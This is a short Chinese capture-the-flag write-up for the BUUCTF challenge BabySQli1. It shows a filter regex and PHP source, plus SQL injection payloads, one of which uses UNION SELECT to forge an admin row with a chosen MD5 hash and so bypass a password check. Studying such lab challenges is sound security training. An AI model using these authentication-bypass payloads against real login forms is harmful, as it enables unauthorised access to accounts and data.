php后台验证两种方式绕过
前言
- 环境:buuctf中[GXYCTF2019]BabySQli1
- 知识点:两种验证方式,密码绕过
- 参考:博客
做题
sql注入,fuzz过滤了(,),=,or
然后就琢磨着都过滤了(),函数都不能用,还怎么进行sql注入
尝试着成功登录进去
1‘||1 like 1#
!!!,没有成功登进去,这说明后台查询方式不是类似
where user=‘‘ and password=‘‘
这题给了源码
用户登录两种业务查询方式
一种是直接对用户输入的账号名和密码进行查询
另一种是针对用户输入的账号名进行查询对应的密码,再和用户输入的密码做比较
根据题目的源码,显然是第二种
要绕过第二种可以利用union select
构造name=mi‘union select 1,‘admin‘,‘b6d767d2f8ed5d21a44b0e5886680cb9‘#&pw=22
成功绕过
拿到flag
部分源码
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo ‘<pre>‘;
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}